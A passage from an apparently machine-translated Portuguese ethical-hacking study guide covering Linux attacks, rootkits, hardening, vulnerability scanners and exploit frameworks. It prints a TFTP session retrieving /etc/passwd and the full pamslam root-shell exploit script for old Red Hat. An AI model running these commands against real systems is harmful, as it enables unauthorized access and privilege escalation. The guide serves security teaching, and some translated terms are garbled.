Outra ferramenta potencial para usar a enumeração é Simple Mail Transfer Protocol (SMTP). 
SMTP às vezes pode ser útil na identificação de usuários. Atacantes ganham esta informação 
usando o vrfy SMTP (verificar) e EXPN (expandir) comandos. Estes comandos podem ser usados 
para adivinhar utilizadores no sistema. Simplesmente nomes de entrada, e se o usuário existe, você 
receberá de volta um endereço de e-mail RFC822 com o sinal @. Se o usuário não existir, você vai 
receber de volta um "usuário desconhecido" mensagem de erro. Apesar de um nome de usuário não 
ser suficiente para o acesso, já é a metade do que é necessário para entrar na maioria dos sistemas. 
Ganhando acesso 
 
Depois de um sistema foi digitalizado e enumerou, o próximo passo é obter acesso. Tentativas de 
ganhar acesso pode ocorrer remotamente ou localmente. Ataques remotos são principalmente 
realizadas através de um dos quatro métodos. 
 
1) Explorar um processo ou programa. 
15 
 
 
2) Explorar um Transmission Control Protocol (TCP) ou User Datagram Protocol (UDP) ouvindo 
serviço. 
 
3) Explorar vulnerabilidades em um sistema que está fornecendo serviços de roteamento e fornecer 
segurança entre duas ou mais redes. 
 
4) Explorar o usuário fazendo-o iniciar algum tipo de ação como a execução de um anexo de e-mail 
ou visitar um site hostil. 
 
Independentemente de qual método é usado, a idéia é obter algum tipo de shell da máquina da 
vítima. Isto pode ser tão estúpido como adivinhar nomes de usuários e senhas para ataques mais 
avançadas em canais de fundo que dependem do sistema da vítima para empurrar o shell para o 
atacante. Vejamos um exemplo simples de explorar um programa. Se a vítima é encontrada estar 
executando TFTP, você pode tentar levar a vítima a entregar arquivos críticos. 
root@mg /root]# tftp 192.168.13.50 
tftp> get /etc/passwd /root/passwdhack.txt 
Received 1015 bytes in 0.0 seconds 
tftp> quit 
[root@mg /root]#more passwdhack.txt 
root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin: 
daemon:x:2:2:daemon:/sbin: 
adm:x:3:4:adm:/var/adm: 
lp:x:4:7:lp:/var/spool/lpd: 
sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
halt:x:7:0:halt:/sbin:/sbin/halt 
mail:x:8:12:mail:/var/spool/mail: 
news:x:9:13:news:/var/spool/news: 
operator:x:11:0:operator:/root: 
gopher:x:13:30:gopher:/usr/lib/gopher-data: 
ftp:x:14:50:FTP User:/home/ftp: 
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false 
named:x:25:25:Named:/var/named:/bin/false 
john:x:500:500:John:/home/jn:/bin/bash 
clement:x:501:501:Clement:/cd/:/bin/csh 
betty:x:502:502:Betty:/home/bd:/bin/pop 
mike:x:503:503:Mike:/home/mg:/bin/bash 
 
Embora você possa obter o arquivo passwd, você deve ter notado que as senhas foram sombreadas. 
Este não foi um completo sucesso, no entanto, o atacante foi capaz de recuperar uma lista de 
usuários no sistema. 
 
Nota 
 
É importante especificar um diretório de destino ao utilizar TFTP para obter etc do host remoto / / 
passwd. Caso contrário, você vai substituir seu próprio arquivo / etc / passwd. 
 
Escalação de Privilégios. 
16 
 
 
Escalação de privilégios pode ser melhor descrito como o ato de alavancar um bug ou 
vulnerabilidade em um sistema operacional ou aplicativo para ter acesso aos recursos, que 
normalmente teria sido protegido de um usuário médio. Estes são os ataques que normalmente são 
executados localmente e estão preocupados com o aumento de privilégio. O objetivo é forçar um 
aplicativo para executar ações que são executadas dentro de um contexto de maior segurança do 
que o pretendido pelo designer, e que ao hacker é concedido acesso local e controle total. Um 
exemplo de um ataque local é a vulnerabilidade pamslam encontrado em algumas versões antigas 
do Linux: 
# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start 
# found by dildog@l0pht.com 
cat > _pamslam.c << EOF 
#include<stdlib.h> 
#include<unistd.h> 
#include<sys/types.h> 
void _init(void) 
{ 
 setuid(geteuid()); 
 system("/bin/sh"); 
} 
 
EOF 
echo -n . 
echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf 
chmod 755 _pamslam.conf 
echo -n . 
gcc -fPIC -o _pamslam.o -c _pamslam.c 
echo -n o 
ld -shared -o _pamslam.so _pamslam.o 
echo -n o 
chmod 755 _pamslam.so 
echo -n O 
rm _pamslam.c 
rm _pamslam.o 
echo O 
/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf 
sleep 1s 
rm _pamslam.so 
rm _pamslam.conf 
 
Mantendo o acesso e Cobertura de Pistas. 
 
Objetivo: 
 Explicar rootkits e contramedidas 
 
Depois de um atacante está em um sistema Linux e se fez root, ele vai se preocupar com a 
manutenção do acesso e cobrir suas trilhas. Uma das melhores maneiras de manter o acesso é com 
um rootkit. Um rootkit contém um conjunto de ferramentas e executáveis de reposição para muitos 
dos componentes críticos do sistema operacional. Uma vez instalado, um rootkit pode ser usado 
para ocultar provas da presença do intruso e para permitir o acesso do backdoor invasor para o 
17 
 
sistema. Rootkits requerem acesso root, mas em troca eles dão ao invasor controle completo do 
sistema. O atacante pode ir e vir à vontade e esconder suas atividades a partir do administrador. 
Rootkits podem conter produtos de limpeza de registro que tentam remover todos os vestígios da 
presença de um atacante a partir dos arquivos de log. 
 
Rootkits podem ser divididos em dois tipos básicos: tradicionais, que substituem os binários, e os 
módulos carregáveis do kernel, que corrompem o kernel. Tradicionalmente, rootkits substituiu os 
binários, como ls, ifconfig, inetd, killall, login, netstat, passwd, pidof, ou ps com versões cavalo de 
Tróia.. Estas versões cavalo de Tróia. ter sido escrito para ocultar certos processos ou informações 
dos administradores. Rootkits deste tipo são detectáveis por causa da mudança no tamanho dos 
binários de cavalo de Tróia.. Ferramentas, como MD5sum e Tripwire, pode ser uma grande ajuda 
para descobrir esses tipos de hacks. 
 
O segundo tipo de rootkit é o módulo de kernel carregável (LKM). Um rootkit de kernel é 
carregado como um driver ou extensão do kernel. Como os rootkits de kernel corrompem o kernel, 
que podem fazer basicamente qualquer coisa, incluindo a detecção por métodos de muitos software. 
A melhor maneira de evitar esses rootkits é simplesmente recompilar o kernel sem suporte para 
LKMs. Embora o uso de rootkits é generalizada, muitosadministradores ainda não sabem muito 
sobre eles, portanto, alguns dos mais populares, como Flea, T0rm, e Adorm, são discutidos na lista 
a seguir: 
 Flea. Uma vez instalado, Flea esconde ações do atacante do administrador, tornando mais 
fácil para o atacante para reinserir o sistema em uma data posterior. 
 T0rm. Este rootkit é popular entre os hackers e é notável porque quebra netstat e em binário 
ps tem 31.336 bytes. Ambos os itens podem lhe dar pistas de que o rootkit foi instalado. 
 Adorm. Ao contrário dos últimos dois rootkits, este não substitui binários do sistema, pois é 
um rootkit LKM. Adorm sistema intercepta chamadas e modifica-los quando necessário. 
Adorm seqüestra sistema chama e cria um invólucro em torno de cada chamada e depois 
limpa a saída. 
Dica. 
Certifique-se que você pode descrever um módulo de kernel carregável e como ele é diferente 
de um rootkit tradicional. 
Hackers não são os únicos a utilizar Rootkits 
A partir de junho de 2004, a Sony começou a proteger cópias alguns dos CDs da empresa de 
música mais populares do pop. Um dos esquemas de proteção contra cópia que usou é 
concebido por uma empresa chamada First 4 Internet. Esta peça de proteção contra cópia causou 
um enorme clamor de protesto por causa da maneira que ele instala e se esconde. O que causou 
este alvoroço é que o software funciona de uma forma que pode ser vista como subserviente e 
intrusivo. Não foi um anúncio da Sony que anunciou a presença deste software, foi por um 
usuário, Mark Russinovich, correndo RootkitRevealer em um de seus próprios sistemas. 
Quando alguém tenta reproduzir um CD de música protegida com este software, um rootkit 
oculto de programa de proteção de cópia é instalado. O programa esconde suas trilhas, então 
18 
 
você não pode desinstalá-lo e você não pode descobrir o que exatamente foi instalado. Porque 
ele é carregado de modo dissimulado, é possível que o software pode ser utilizado para lançar 
vírus e cavalos desenvolvidas por outros. Por causa da instalação de cautela, seu antivírus não 
seria capaz de detectar tal infecção. Como que para piorar as coisas, se você é capaz de 
encontrar e remover este software, ele desativa sua unidade de CD completamente e não pode 
mais ser usada. Se há alguma boa notícia, é que os computadores Linux não são afetados. 
 
Todos os rootkits permitem ataques de um invasor: 
 Executar sniffers secretamente para capturar senhas. 
 Trojan o binário de login para abrir um backdoor para a qualquer momento o acesso. 
 Substituir programas utilitários que podem ser usados para detectar a atividade do hacker. 
 Fornecer serviços públicos para a instalação de cavalos de tróia com os mesmos atributos de 
programas legítimos. 
 
Dica 
 
Conheça os tipos de rootkits e como eles funcionam. 
 
Como deve um hacker ético responder se ele acredita que um sistema foi comprometido e 
tem um rootkit instalado? Sua primeira ação será provavelmente mais para remover o 
hospedeiro infectado a partir da rede. Um atacante que sabe que ele foi descoberto pode 
enviar para o lixo o sistema em uma tentativa de cobrir seus rastros. Depois de ser isolado da 
rede, você pode então começar o processo de sistema de auditoria e realizar alguma pesquisa 
forense. Duas principais ferramentas podem ser usadas para auditar ataques rootkit 
suspeitos: 
 Chkrootkit. Uma excelente ferramenta que pode ser usada para pesquisar sinais de um 
rootkit. Ele tem a capacidade de analisar binários de sistema para modificação. 
 Rootkit Hunter. Outra ferramenta que analisa arquivos binários e sistema de rootkits 
conhecidos e desconhecidos. 
 
Encontrar o rootkit não é o mesmo que ver a justiça ser feita. A esmagadora maioria dos 
indivíduos que atacam sistemas ficam impune. A natureza global da Internet torna difícil 
rastrear hackers e trazê-los à justiça. 
 
Endurecendo o Linux 
 Objetivo: 
 Descrever como o Linux é seguro. 
19 
 
. 
Para evitar que o Linux seja hackeado, é importante endurecer o sistema e os serviços de 
segurança. Mais tarde, no capítulo, olhamos para ferramentas, como o Nessus e SAINT, que 
podem ser usadas para detectar formas que os atacantes podem entrar em seus sistemas Linux. 
Por enquanto, você precisa saber que após essas vulnerabilidades sejam identificadas, elas terão 
de ser abordadas. Isto pode significar correção, remoção ou endurecimento desses serviços. 
Colocação de um firewall na frente de servidores críticos também é um passo importante. 
Programas, como ipchains e iptables, também podem ser usados para filtrar e controlar o 
tráfego. Outra solução fácil de remover programas e serviços se eles não são necessários. Isto é 
conhecido como o princípio do menor privilégio. Alguns dos programas e serviços que são 
considerados não-essenciais podem incluir: 
 Wget. Uma ferramenta não-interativa para buscar dados sobre HTTP / HTTPS e FTP. 
 Finger. Permite recuperar informações básicas sobre um usuário da Internet ou de 
acolhimento. 
 Navegador baseado em texto Lynx que suporta HTTP / HTTPS e FTP. 
 Curl. Uma ferramenta como wget-que também suporta protocolos como o Telnet e 
Gopher. 
 SCP. Transferência segura de arquivos usando o protocolo SSH. 
 FTP. A linha de comando cliente de FTP. 
 Telnet. O cliente Telnet Linux de linha de comando. 
 TFTP. Trivial FTP. 
 Ping. Também pode ser usado como uma ferramenta de DoS bastante rudimentar. 
 
Desligando serviços desnecessários, remover programas desnecessários, e aplicar os 
patches de segurança mais recentes é conhecido como endurecimento sistema. Ao tentar 
endurecer o seu sistema Linux, uma boa fonte de informação é as diretrizes da NSA de 
endurecimento, pois eles podem ser encontrados em www.nsa.gov/snac. 
 
Em seguida a discussão é chroot. Chroot basicamente coloca um programa em uma 
sandbox. O termo refere-se a caixa de areia no conceito de se limitar a atividade de um 
programa de aplicação e dos limites. Mais precisamente, ele redefine o diretório raiz 
ou/de um programa ou sessão de login. Tudo fora do diretório que você definir que 
chroot pode usar não existe até um programa estar em causa. Ele efetivamente prende 
um processo em uma parte do sistema de arquivo a partir do qual o processo não pode 
escapar. Devido a este bloqueio, é importante lembrar que todos os arquivos necessários 
a uma programa chroot para a funcionalidade adequada deve estar presente dentro da 
prisão. Chroot é comumente usado por programas como FTP, BIND, e-mail, e Apache. 
 
Envoltório (TCP Wrapper) TCP é outra ferramenta que pode ser usada para endurecer 
20 
 
Linux. Wietse Venema desenvolveu o programa TCP Wrapper para proteger os 
computadores contra ataques de hackers. Por muitos anos, este foi um dos métodos 
padrão utilizados para endurecer Linux. Está agora a ser substituídos por xinetd.d, que é 
considerada mais granular. Serviços de rede como Finger, FTP, rlogin, Telnet e TFTP 
pode ser configurado para uso TCP Wrapper. Mais informações sobre TCP Wrapper 
seguinte forma: 
 TCP Wrapper permite que você especifique quais hosts têm permissão de acesso. 
 TCP Wrapper é ativada por ter inetd que chama o daemon wrapper TCP. 
 TCP Wrapper pode ser utilizado com TCP ou UDP. 
 Dois arquivos são usados para verificar host.allow acesso e host.deny. 
 
O serviço funciona por TCP Wrapper inserindo-se entre o serviço e o mundo exterior. 
Você usa dois arquivos para a gestão de controle de acesso: 
 hosts.allow. Lista todos os anfitriões com conectividade com o sistema que pode se 
conectar a um serviço específico. 
 hosts.deny. funciona da mesma forma como a maioria das ACLs, porque se nãofor 
expressamente permitido, o acesso será negado. 
 
Tripwire é uma ferramenta valiosa que pode ser usada para proteger os sistemas Linux. 
Tripwire é o programa de integridade de arquivo mais comumente usado. Ele realiza 
verificação de integridade usando checksums criptográficas. Tripwire pode ajudar a 
identificar se alguma adulteração em arquivo ocorreu. É comumente usada com sistemas 
de IDS, porque pode ser utilizado para manter uma imagem do sistema durante um 
estado conhecido. Se rootkits ou outras alterações são feitas, Tripwire pode detectá-lo. 
Tripwire realiza sua magia, criando um valor de hash de sentido único para arquivos e 
diretórios. Este hash é armazenado, e em seguida, verifica periodicamente se novos são 
executados. O novo valor digitalizado é comparado com as que estão armazenadas. Se 
os dois valores não coincidirem, é definido um sinalizador e um administrador deve agir. 
O arquivo de política Tripwire é twpol.txt e pode ser encontrado no diretório / etc / 
arame. 
 
Dica 
 
Ser capaz de descrever as várias ferramentas utilizadas para proteger o Linux como 
Tripwire e TCP Wrapper. 
 
Finalmente, há logging. Embora o logging não irá impedir um ataque, ele é uma ferramenta 
útil para determinar o que aconteceu. Linux vai permitir a autenticação de sistemas, 
aplicações e protocolos. A saída da maioria dos loggings são mantidos no diretório / var / 
log. Se você está curioso sobre quem se conectou ao sistema, você pode usar o arquivo 
21 
 
lastlog. O arquivo / var / log / lastlog acompanha o último login de contas de usuário no 
sistema. 
 
Dica 
 
Saiba que registros de usuários estão localizados em / var / log /. 
Ferramentas Automatizadas de Avaliação. 
 
Nem sempre é possível realizar todos os testes de segurança manualmente. Muitas verificações, exames e 
correções são melhores realizadas por ferramentas automatizadas. São tantas descobertas novas de 
vulnerabilidades diária que é difícil manter-se. Se você não está usando um sistema automatizado de 
gestão de patches, como você sabe se todos os patches que deveriam na verdade ter sido instalados? 
 
Para combater esses problemas, os hackers éticos podem se beneficiar de ferramentas de avaliação 
automatizadas. Na maioria das situações, os hackers éticos vão usar uma combinação de ferramentas 
manuais e automatizadas. Ferramentas automatizadas permitem que o hacker ético possa cobrir um lote 
de terreno rapidamente e usar os resultados para mais mais inspeção manual. Toda uma gama de 
ferramentas de avaliação de segurança estão disponíveis. Algumas olham para o código fonte, as outras 
olham para aplicações, e outros ainda são desenvolvidas para olhar para sistemas inteiros ou redes. Essas 
soluções também têm usabilidade e interfaces diferentes, que variam de linha de comando nas interfaces 
GUI para produtos. Estes produtos também podem ser divididos em outras categorias, como alguns são 
gratuitos e outros são para compra ou que são executados através de um serviço de assinatura. 
 
Categorias ferramenta automatizada de Avaliação 
 
Objetivo: 
Discutir os diferentes tipos de instrumentos automatizados de avaliação. 
 
Você verá que não há falta de ferramentas de avaliação de vulnerabilidade no mercado. Estas 
ferramentas podem ser utilizadas para verificar se os computadores internos ou externos para detectar 
vulnerabilidades. Algumas dessas ferramentas são comerciais e pode exigir uma assinatura anual, 
enquanto outros são de código aberto e não vai custar nada para adquirir inicialmente. Todas estas 
ferramentas podem ser divididos em três categorias básicas, incluindo: 
 Scanners de código fonte examinam o código fonte de um aplicativo. 
 Scanners de aplicação examinam uma aplicação específica ou tipo de aplicação. 
 Scanners sistema examinam sistemas inteiros ou redes de problemas de configuração ou de 
aplicação. 
 
Scanners de Código Fonte. 
22 
 
 
Scanners de código-fonte podem ser usados para ajudar em problemas de auditoria de segurança em 
código fonte. Scanners de código fonte podem detectar problemas, tais como buffer overflows, 
condições de corrida, escalação de privilégios, e entrada contaminada. Buffer overflows permitir que 
dados sejam escritos sobre partes do seu executável, que podem permitir que um usuário malicioso 
possa fazer praticamente qualquer coisa. Condições de corrida pode evitar que os sistemas de proteção 
de funcionam corretamente, ou negar a disponibilidade de recursos para os seus usuários legítimos. 
Escalação de privilégios ocorre quando o código é executado com privilégios maiores do que a do 
usuário executou. Contaminação de entrada permite que os dados potencialmente sem verificação 
através de suas defesas, possivelmente, qualificada como informação de erros já verificados. Algumas 
ferramentas usadas para encontrar estes tipos de problemas incluem: 
 
 Flawfinder. Um programa Python que procura através de código fonte para potenciais falhas de 
segurança, listando potenciais falhas de segurança classificadas por risco, com as falhas 
potencialmente mais perigosas mostrada primeiro. 
 Rough Auditing Tool for Security (RATS). RATS é escritA em C e contém externas regras DE 
coleções XML que se aplicam a cada idioma. 
 StackGuard. Um compilador que constrói programas protegidos contra ataques de 
esmagamento de pilha. Ataques de esmagamento de Pilhas são um problema comum e grande 
para aplicações Linux e Windows. Após programas são compilados com StackGuard, eles são 
em grande parte imune ao ataque de esmagamento de pilha. 
 Libsafe. Produz um método de proteção no transparente que tem a grande vantagem de não 
necessitar de aplicações para ser recompilado. Ela protege contra estouros de buffer e pode 
proteger aplicações para as quais o código fonte não está disponível. 
 
Scanners a Nível de Aplicação. 
 
Scanners para nível de aplicativo são o próximo tipo de scanner de vulnerabilidade examinados. 
Scanners de aplicativos fornecem testes contra candidaturas completas ou componentes, em vez 
de o código fonte. Este tipo de ferramenta de avaliação de vulnerabilidades olha como o programa 
está sendo executado. Scanners pode examinar sua configuração e olhar para os problemas. Alguns 
exemplos de nível de aplicativo incluem: 
 
Whisker. Um dos scanners mais antigos de aplicativos da Web ainda existente. Whisker tem a 
capacidade de verificar vulnerabilidades CGI, e vem com excelente documentação, que deve ser 
cuidadosamente revista. CGI é vulnerável na medida em que pode vazar informações do sistema 
que deve ser mantida em sigilo, e permite que usuários remotos possam executar comandos 
inadequados. Whisker exige Perl, por isso, se você estiver indo usá-lo, certifique-se de que você 
tem um ambiente apropriado Perl disponível. 
 
N-stealth. Esta é baseada em ferramenta GUI de avaliação de aplicação vem com um extenso banco 
de dados de mais de 30.000 vulnerabilidades e exploits. Ela fornece um relatório bem formatado 
que pode ser usado para analisar problemas como alto, médio ou baixo risco. 
 
23 
 
WebInspect. Outra ferramenta de vulnerabilidade em aplicativo web de escaneamento. Ela pode 
procurar por mais de 1.500 servidores da Web conhecidos e vulnerabilidades de aplicativos e 
realiza verificações em conjecturas inteligentes para senhas fracas. 
 
Nikto. Simples, fácil que usa programa script Perl de vulnerabilidade na internet que é rápida e 
completa. Ele suporta até mesmo escaneamento básico de porta para determinar se um servidor 
da Web está sendo executado em todas as portas abertas. 
 
AppDetective. Este scanner de nível de aplicativo realiza testes de penetração e auditoria. O Pen 
Test examinao seu sistema a partir do ponto de vista de um hacker. Ela não precisa de nenhuma 
permissão interna, o teste consulta o servidor e tenta recolher informações sobre o banco de dados 
está em execução, tais como a sua versão. O teste de auditoria pode detectar qualquer número de 
violações de segurança em seu servidor, de falta de senhas e contas de usuário facilmente 
descobertas para service packs desaparecidos e patches de segurança. 
 
Scanners a Nível de Sistemas. 
 
A última categoria de scanners é no nível do sistema. Estes tipos de scanners são versáteis uma vez 
que podem sondar sistemas completos e seus componentes, em vez de aplicações individuais. Um 
scanner de nível de sistema pode ser executado em um único endereço ou uma faixa de endereços 
e também pode testar a eficácia das medidas de segurança em camadas, como um sistema que 
corre atrás de um firewall. Nessus é um bom exemplo de um scanner de nível de sistema. 
 
Embora o scanner de nível de sistema não vai sondar o código-fonte de aplicações individuais, eles 
podem varrer redes inteiras em busca de uma variedade de vulnerabilidades. Ao realizar um 
sistema de hacker ético, scanners de nível pode ser usado remotamente. Isto é muito mais 
eficiente do que a tentativa de auditar a configuração de cada máquina individual. Scanner de 
sistema não é perfeito. Eles não podem auditar a fonte dos processos que são prestadoras de 
serviços, e devem contar com as respostas de um serviço para um número finito de sondas, o que 
significa que todas as entradas possíveis não podem ser razoavelmente testadas. Scanners de nível 
de sistema também pode travar sistemas. Muitos dos testes que podem executar são considerados 
perigosos e podem desligar do sistema. Apesar de muitas ferramentas deste tipo podem realizar 
evasão IDS, eles geralmente não são considerados ferramentas stealth. Portanto, se o objetivo do 
teste de segurança é passar despercebido, um scanner de nível de sistema pode não ser a melhor 
escolha para uma ferramenta. 
 
Provavelmente, o ponto mais importante sobre o scanners de nível de sistema é que eles não são 
um substituto para testes e exames mais completos. Eles são apenas uma ferramenta no kit do 
hacker ético. Eles não devem ser vistos como o único componente de um teste de penetração. O 
seu papel é complementar outras ferramentas e técnicas de testes. Código fonte e escaneamento 
de aplicativo também deve ser utilizados, quando aplicável. Uma avaliação de vulnerabilidade em 
profundidade consiste de todos os componentes que nós discutimos. Nada pode substituir 
completamente outra ferramenta. Vamos agora olhar para alguns dos scanners de nível mais 
popular do sistema: 
24 
 
 
 Nessus. Um open source, compreensivo, scanner de vulnerabilidade de cross-platform com 
Command Line Interface (CLI) e interface gráfica do usuário (GUI). Nessus tem uma 
arquitetura cliente / servidor com clientes disponíveis para UNIX, Linux e Windows e 
servidores disponíveis para UNIX, Linux e Windows (comercial). Nessus é um poderoso, 
flexível e ferramenta de varredura de auditoria. É preciso um "nada por garantir" de 
abordagem básica. Por exemplo, uma porta aberta não significa necessariamente que um 
serviço eseja ativo. Nessus lhe diz o que está errado e fornece sugestões para a fixação de 
um determinado problema. Ele também suporta vários tipos de plugins, que vão desde um 
inofensivo para aqueles que podem derrubar um servidor. O menu Plugins é mostrada na 
Figura 5.3. 
 
 
 
 Newt (Nessus para Tecnologia do Windows). A versão para Windows do Nessus, que tem as 
mesmas capacidades e verificações do Nessus. A versão gratuita só pode verificar a rede 
25 
 
local. A versão mais potente remota deve ser comprada. A página de configuração é 
mostrada na Figura 5.4. 
 
 
 
 SAINT. Este scanner comercial proporciona à indústria varredura refernte a vulnerabilidade 
e identificação. Ele tem uma interface baseada na web, e as plataformas de implantação 
para este produto são Linux e UNIX. É certificado com Common Vulnerabilities and 
Exposures (CVE), aderente e permite priorizar e classificar vulnerabilidades que permitem 
determinar as questões de segurança mais importantes que você deve atacar primeiro. 
 
 SARA. Este scanner de nível de sistema possui uma interface de linha de comando e GUI 
baseada na web. É uma aplicação freeware. Em vez de inventar um novo módulo para a 
ação nunca imagináveis, SARA é adaptada para a interface com outros produtos de código 
aberto. É considerado um scanner suave, o que significa que o escaneamento não 
apresenta um risco para a infra-estrutura da rede operacional. É compatível com a SANS 
Top 20, suporta referências CVE para as vulnerabilidades identificadas, e pode ser 
implantado em UNIX, Linux e Mac OS X. 
 
 ISS Internet Scanner. Um produto comercial disponível a partir da Internet Security 
Systems. Sua plataforma de implementação é o Windows NT/2000/XP/2003. O pacote 
oferece extensa análise de vulnerabilidade e de identificação em todas as plataformas e 
dispositivos de rede via CLI e interfaces gráficas. Ele pode identificar mais de 1.300 tipos de 
dispositivos de rede. Após estes dispositivos tenham sido escaneados e identificados, 
Internet Scanner pode analisar a sua configuração, níveis de patch, sistemas operacionais e 
26 
 
aplicativos instalados. Então, ele pode gerar um relatório de identificação de 
vulnerabilidades. 
 
 NetRecon. Um scanner comercial produzido pela Symantec. Ele fornece análise de 
vulnerabilidade e identificação. Ela tem a capacidade de aprender sobre a rede, uma vez 
que é um escaneador. Como exemplo, se encontra e quebra uma senha em um sistema, e 
vai tentar a mesma senha em outros sistemas. O aplicativo possui uma interface gráfica, e 
sua plataforma de implementação é o Windows NT/2000/XP. 
 
 Retina. Um produto comercial da eEye Digital Security. Ele fornece varredura de 
vulnerabilidades em sistemas e dispositivos de rede. Ele é rápido e pode descobrir 
dispositivos com e sem fio. Retina tem uma interface gráfica, e sua plataforma de 
implementação é o Windows NT/2000/XP/2003. 
 
 LANguard. Um scanner de serviço completo que relata as informações, tais como o nível de 
pacote de serviço de cada máquina, patches de segurança, as ações abertas, portas 
abertas, serviços / aplicativo ativo no computador, as principais entradas de registro, 
senhas fracas, usuários e grupos, e mais. 
 
 VLAD. Um scanner de vulnerabilidade de código aberto. Escrito em Perl, Vlad é projetado 
para identificar vulnerabilidades no 10 SANS Top List. Ele foi testado em Linux, OpenBSD e 
FreeBSD. 
 
Há todos os tipos de ferramentas de avaliação de vulnerabilidade. Certifique-se de que você 
compreende as capacidades de cada um. Alguns das mais importantes são mostradas aqui: 
 
Nome Plataforma Abilidade 
Nessus Linux Open source, scanner a nivel de Sistema 
Flawfinder Linux Scanner de código Fonte 
Whisker Linux/Windows Scanner Aplicativo da Web 
RATS Linux Scanner de código Fonte 
N-Stealth Windows Scanner Aplicativo da Web 
NeWT Windows Scanner Nível de Sistema como Nessus 
Nikto Linux/Windows Scanner Aplicativosda Web em Perl 
SARA Linux/Mac Scanner Nível de Sistema 
LANGuard Windows Sacanner Comercial Nível de Sistema 
 
 
27 
 
Alerta de exame 
 
Você deve ser capaz de descrever os diferentes tipos de scanners e discutir como cada um é 
usado. 
 
Exploit automatizado e Ferramentas de Avaliação. 
Objetivo: 
Identificar a operação de ferramentas automatizadas de exploração 
Embora as ferramentas de avaliação recentemente discutidas podem fazer o seu trabalho muito 
mais fácil, o próximo conjunto de ferramentas a ser discutido será ainda maisintrigante. Estas 
ferramentas revelam onde o software de avaliação de vulnerabilidade está dirigido. Ferramentas 
como o Nessus e outros sempre tiveram a capacidade de integrar a verificação, avaliação e 
funções de relatório. As ferramentas na lista a seguir tomam essa funcionalidade para a próxima 
etapa com a integração da capacidade de explorar uma vulnerabilidade suspeita. Isso mesmo, 
essas ferramentas podem realmente oferecer exploração com um clique só. Esta seção discute a 
ferramenta de exploração Metasploit Framework gratuita, e depois passa para a tela, e IMPACT 
Core, que são dois produtos comerciais. 
 
Metasploit. Um teste de exploração tudo-em-um e ferramenta de desenvolvimento. Metasploit 
permite que você digite um endereço IP e o número da porta de uma máquina de destino e 
execute o exploit escolhido contra a máquina alvo com bastante facilidade. Esta é uma 
ferramenta de código aberto que pode ser comparada a CANVAS e IMPACTO Core. Metasploit 
foi desenvolvida usando Perl, linguagem C, e Python. Ele está disponível para Linux e Windows. 
Ela pode ter a vítima ligando de volta para você, abrindo um shell de comando na vítima, ou 
permitir que você execute o código na vítima. Depois de ter um Shell sobre a vítima, estara 
apenas a alguns passos de distância de fazer-se um usuário privilegiado. 
 
Um Framework exploração similar para Metasploit, exceto que este instrumento particular é 
apoiado por um dos maiores bancos de dados de exploits conhecidos. Ele executa fora do banco 
de dados ExploitTree que está disponível publicamente. É quase assustador examinar como é 
fácil esta ferramenta de usar até mesmo pelo novato completo. Um screenshot do Framework de 
exploração pode ser visto na Figura 5.5. Depois de ter utilizado um scanner de nível de sistema 
(como o Nessus) para encontrar uma vulnerabilidade, os ataques podem ser lançados em quatro 
passos simples: 
 
 1. Selecione seu exploit da Lista Exploit. 
2. Especifique todos os parâmetros necessários. 
3. Clique no botão Exploit. 
4. Aproveite o shell que agora você tem no computador da vítima. 
 
28 
 
 
Dica 
Praticar o uso do Framework de Exploração para entender seu funcionamento. 
CANVAS. Uma ferramenta de ataque automatizada e pent test desenvolvida por Dave Aitel da 
Immunity.com. Ela foi escrito em Python, por isso é portátil para Windows e Linux. É uma 
ferramenta comercial que pode fornecer ao profissional de segurança uma capacidades de ataque 
e penetração. Como Metasploit, não é uma ferramenta tudo-em-um completa. Ela não faz uma 
descoberta inicial, de modo que você deve adicionar seus alvos manualmente. É mais limpa e 
mais avançada que Metasploit, mas exige que você compre uma licença. No entanto, isso não 
fornece atualizações e suporte. No geral, esta é uma ferramenta de primeira linha para alguém 
com experiência em avaliação de penetração. 
 
Core IMPACT. Uma avançada suite comercial de ferramentas de testes de penetração. Core 
IMPACT é um ponto de maturidade e um clique em exploração automatizada e ferramenta de 
avaliação. É um pacote completo com os passos do usuário através do processo, a partir de 
escaneamento e continuação até a fase de exploração e controle. Uma característica única do 
produto é que ele suporta uma característica conhecida como articulação. Basicamente um 
pivoting (giratório) que permite que uma máquina comprometida ser usada para comprometer 
uma outra. Esta ferramenta é útil para todos, desde o iniciante até o profissional de segurança. Dê 
uma olhada na interface mostrada na Figura 5.6. 
29 
 
 
 
Resumo 
 
Neste capítulo, você aprendeu sobre o Linux e como ele é um sistema operacional excelente para 
testes de segurança. Você também aprendeu que o Linux é um potencial alvo de ataques e, 
portanto, também deve ser corrigido e endurecido. 
 
Você também aprendeu a realizar tarefas básicas em um sistema Linux, como adicionar usuários 
e senhas de atualização. A importância da segurança da senha foi discutido, e lhe foi dada a 
oportunidade de ver a importância de senhas fortes. Você viu que o Linux, semelhante a 
Microsoft, exige uma defesa em profundidade para ser realmente seguro. Isso inclui a segurança 
física, a segurança da senha, segurança lógica e gerenciamento de patches para certificar-se de 
que para baixo nível de software está protegido contra vulnerabilidades conhecidas. 
 
Em seguida, você aprendeu sobre várias ferramentas de avaliação de segurança. As ferramentas 
de avaliação de segurança automáticas são valiosas, uma vez que pode testar um grande número 
de problemas com rapidez. Estes programas podem ser encontrados como código aberto e 
aplicações comerciais. Eles são uma ferramenta poderosa nas mãos de hackers éticos e do 
atacante. Finalmente uma categoria interessante de instrumentos de avaliação foram discutidos os 
quadros de exploração que agora estão se tornando mais maduros. Estas ferramentas permitem ao 
usuário encontrar uma vulnerabilidade e, em seguida, aponte e clique para explorar. Ferramentas 
como o Core Impact, Metasploit, e do Framework Exploração são exemplos de instrumentos de 
avaliação automatizadas. 
Capítulo 5 
 
30 
 
 
Aplique seu conhecimento. 
 
Você viu o quão úteis podem ser as ferramentas de avaliação automatizadas e como o Linux é uma boa 
plataforma para a realização de testes de segurança. Portanto, este aplicar o seu conhecimento terá que 
examinar algumas ferramentas de avaliação automatizada e um dos melhores bancos de dados de 
exploração on-line. 
 
Exercícios 
 
5.1. Explorando o site SecurityForest.com 
SecurityForest.com é uma Floresta editada colaborativamente composta por árvores, que qualquer 
pessoa pode contribuir. Estas árvores saem de uma forma ordenada. As ferramentas e exploits que estão 
